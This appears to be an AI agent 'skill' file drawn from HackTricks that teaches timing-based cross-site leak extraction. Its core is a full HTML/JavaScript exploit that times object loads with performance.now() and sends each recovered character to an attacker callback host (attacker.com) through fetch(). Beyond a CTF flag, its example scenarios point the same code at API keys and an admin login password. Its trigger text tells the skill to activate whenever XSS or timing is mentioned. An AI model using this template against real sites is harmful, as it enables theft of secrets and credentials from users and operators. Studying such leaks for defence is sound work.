Hacktricks-skills xss-timing-attack

How to perform timing-based XSS side-channel attacks using performance.now() to extract hidden data character-by-character. Use this skill whenever the user mentions XSS vulnerabilities, timing attacks, side-channel extraction, timing-based data leaks, or wants to extract secrets through response time differences. Also trigger when users discuss measuring response times in web applications, extracting hidden strings through timing, or exploiting timing variations in XSS contexts.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/performance.now-+-force-heavy-task/SKILL.MD
source content

XSS Timing Side-Channel Attack

This skill teaches you how to perform timing-based side-channel attacks through XSS vulnerabilities. When a server processes different inputs with different response times (e.g., checking if a flag is contained in a string), you can exploit this timing difference to extract hidden data character-by-character.

How It Works

  1. The Vulnerability: The target application processes requests differently based on whether certain strings are present (e.g., if a flag is in the response, it takes longer to process)
  2. The Attack: Send requests with different characters and measure response times using
    performance.now()
  3. The Extraction: Characters that cause longer response times indicate a match, allowing you to extract the hidden string one character at a time

Prerequisites

  • XSS vulnerability in the target application
  • The application must exhibit timing differences based on input content
  • Ability to inject JavaScript into the victim's browser

Exploit Template

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>XSS Timing Attack</title>
</head>
<body>
  <script>
    // Configuration - customize these for your target
    const TARGET_URL = "http://target.com/search/?search=CHAR&msg=PAYLOAD";
    const CALLBACK_URL = "http://attacker.com/log?data=";
    const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-";
    const KNOWN_PREFIX = "flag{";
    const ITERATIONS = 3; // Number of measurements per character
    const PAYLOAD_SIZE = 1000000; // Size of payload to force heavy processing
    
    // Send data to attacker server
    function sendLog(data) {
      fetch(CALLBACK_URL + encodeURIComponent(data)).catch(() => {});
      console.log(data);
    }
    
    // Measure time to load a request with given character
    async function measureTime(char) {
      return new Promise((resolve) => {
        const randomString = "just_random_string";
        const payload = randomString[Math.floor(Math.random() * randomString.length)].repeat(PAYLOAD_SIZE);
        const url = TARGET_URL.replace("CHAR", char).replace("PAYLOAD", payload);
        
        const start = performance.now();
        const object = document.createElement("object");
        object.width = "2000px";
        object.height = "2000px";
        object.data = url;
        
        object.onload = () => {
          object.remove();
          const end = performance.now();
          resolve(end - start);
        };
        
        object.onerror = () => {
          object.remove();
          resolve(0);
        };
        
        document.body.appendChild(object);
      });
    }
    
    // Main attack function
    async function extractSecret() {
      sendLog("Starting timing attack...");
      
      // Warmup - run a few measurements to stabilize
      for (let i = 0; i < 3; i++) {
        await measureTime("..");
      }
      
      // Measure baseline times
      let foundTime = 0;
      let notFoundTime = 0;
      
      for (let i = 0; i < ITERATIONS; i++) {
        foundTime += await measureTime(KNOWN_PREFIX);
      }
      
      for (let i = 0; i < ITERATIONS; i++) {
        notFoundTime += await measureTime("NOT_FOUND123");
      }
      
      foundTime /= ITERATIONS;
      notFoundTime /= ITERATIONS;
      
      sendLog(`Found baseline: ${foundTime.toFixed(2)}ms`);
      sendLog(`Not found baseline: ${notFoundTime.toFixed(2)}ms`);
      
      // Calculate threshold
      const threshold = foundTime - (foundTime - notFoundTime) / 2;
      sendLog(`Threshold: ${threshold.toFixed(2)}ms`);
      
      if (notFoundTime > foundTime) {
        sendLog("Error: Not found is slower than found - timing may be inverted");
        return;
      }
      
      // Extract character by character
      let secret = KNOWN_PREFIX;
      
      while (true) {
        if (secret[secret.length - 1] === "}") {
          break;
        }
        
        let foundChar = false;
        
        for (const char of CHARSET) {
          const trying = secret + char;
          let totalTime = 0;
          
          for (let i = 0; i < ITERATIONS; i++) {
            totalTime += await measureTime(trying);
          }
          
          const avgTime = totalTime / ITERATIONS;
          sendLog(`Trying: ${trying}, Time: ${avgTime.toFixed(2)}ms`);
          
          if (avgTime >= threshold) {
            secret += char;
            sendLog(`Found character! Current secret: ${secret}`);
            foundChar = true;
            break;
          }
        }
        
        if (!foundChar) {
          sendLog("No character found - may have reached end or threshold is wrong");
          break;
        }
      }
      
      sendLog(`Final secret: ${secret}`);
    }
    
    // Start the attack
    extractSecret();
  </script>
</body>
</html>

Key Configuration Options

ParameterDescriptionTypical Value
TARGET_URL
The vulnerable endpoint with placeholders for character and payloadVaries by target
CALLBACK_URL
Your server to receive exfiltrated dataYour controlled server
CHARSET
Characters to try when extracting the secretAdjust based on expected format
KNOWN_PREFIX
Known starting characters of the secrete.g., "flag{", "CTF{", "secret_"
ITERATIONS
Measurements per character for accuracy3-5 for noisy environments
PAYLOAD_SIZE
Size of payload to force processing time100000-1000000

Important Notes

Object Size Matters

The

<object>
element's width and height must be set to large values (e.g., 2000px). The default size is too small to create measurable timing differences.

Threshold Calculation

The threshold is calculated as the midpoint between "found" and "not found" baseline times. This helps distinguish between matches and non-matches.

Error Handling

  • If "not found" is slower than "found", the timing may be inverted - check your understanding of the vulnerability
  • Network noise can affect measurements - use more iterations in unstable environments
  • Some browsers may optimize away timing differences - test thoroughly

Example Usage

Scenario 1: CTF Challenge with Flag in Response

const TARGET_URL = "http://baby-xsleak-ams3.web.jctf.pro/search/?search=CHAR&msg=PAYLOAD";
const KNOWN_PREFIX = "justCTF{";
const CHARSET = "abcdefghijklmnopqrstuvwxyz_}";

Scenario 2: API Key Extraction

const TARGET_URL = "https://api.target.com/validate?key=CHAR&data=PAYLOAD";
const KNOWN_PREFIX = "sk_";
const CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_";

Scenario 3: Password Hash Timing

const TARGET_URL = "https://target.com/login?user=admin&pass=CHAR&extra=PAYLOAD";
const KNOWN_PREFIX = "";
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%";

Testing the Exploit

  1. Verify the timing difference exists: Run the baseline measurements and confirm that "found" and "not found" have measurably different times
  2. Adjust threshold if needed: If the attack isn't working, try adjusting the threshold calculation
  3. Increase iterations: In noisy network conditions, increase
    ITERATIONS
    to 5 or more
  4. Check object size: Ensure width/height are set to at least 2000px

Limitations

  • Requires JavaScript execution in the victim's browser
  • Network latency can interfere with measurements
  • Browser optimizations may reduce timing differences
  • Only works when the server exhibits timing differences based on input content
  • May be slow for long secrets (one character per measurement)

Related Techniques

  • Cache-timing attacks: Similar concept but using cache access times
  • Spectre/Meltdown: CPU-level timing side-channels
  • DNS exfiltration: Alternative data exfiltration method when timing isn't available
  • Image-based exfiltration: Using image requests to leak data

References